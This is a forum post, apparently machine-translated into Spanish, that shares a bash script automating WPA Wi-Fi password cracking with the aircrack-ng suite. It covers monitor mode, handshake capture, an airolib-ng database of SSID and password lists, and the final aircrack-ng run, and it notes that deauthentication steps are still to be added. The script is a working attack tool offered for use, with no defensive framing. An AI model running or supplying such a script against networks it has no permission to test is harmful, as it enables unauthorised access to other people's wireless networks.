(https://www.arg-wireless.com.ar/proxy.php?request=http%3A%2F%2Flinuxeando.com.ar%2Fwp-content%2Fuploads%2F2011%2F08%2Fairolib.png&hash=08c6c1c4f89a85b11a1a25937f4191c690a93980)
Algunas notas:
- El script supone que conoce el canal del AP.
- Aún se necesita para poner en unas pocas líneas para airelplay, probly abrir una nueva ventana.
- Estoy seguro de que hay alguna manera de automatizar aireplay mediante el archivo de captura-01.txt que airodump escupe.
- El ssidlist.txt passwords.txt y la necesidad de estar en el mismo directorio que el script.
- Estoy seguro de que hay alguna manera de permitir que Autocompletar para eso, pero aún tengo que averiguarlo.
- Algunos de los comentarios son casi irrelevantes.
Todas las sugerencias son apreciadas. Enjoy!
Traté de vincular a Xploitz tutorial # 4, pero los dioses en el foro de nay dijo ... No he hecho bastantes mensajes ... Todos saben dónde está, aunque. : P
#########################################################################
# airolib_script.sh #
# airolib-ng script that automates the WPA cracking process a bit. #
# by w116tjb #
# #
#########################################################################
##Set Atheros wireless card into monitor mode.
airmon-ng start wifi0
##Choose interface in monitor mode, channel you want to scan, and
##what you want to name your capture file.
read -p "What interface? " iface
read -p "What channel? " chan
read -p "Capture file name? " capture
airodump-ng --channel $chan --write $capture $iface
##Name your database.
read -p "Database name? " database
##Initialize your database.
echo "airolib-ng "$database" init"
airolib-ng $database init
##Until I can find out how to get directories to autocomplete,
##you're stuck typing out the entire struture
read -p "SSID list? " ssid_dir
##Imports the SSID list into the database.
echo "airolib-ng "$database" import ascii essid "$ssid_dir
airolib-ng $database import ascii essid $ssid_dir
##Again, you have to type it all out. Sorry.
read -p "Password list? " pass_dir
##Imports the password file into the database.
echo "airolib-ng "$database" import ascii passwd "$pass_dir
airolib-ng $database import ascii passwd $pass_dir
echo "airolib-ng "$database" clean all"
airolib-ng $database clean all
echo "airolib-ng "$database" batch"
airolib-ng $database batch
echo "airolib-ng "$database" verify all"
airolib-ng $database verify all
echo "aircrack-ng -r "$database $capture"-01.cap"
aircrack-ng -r $database $capture-01.cap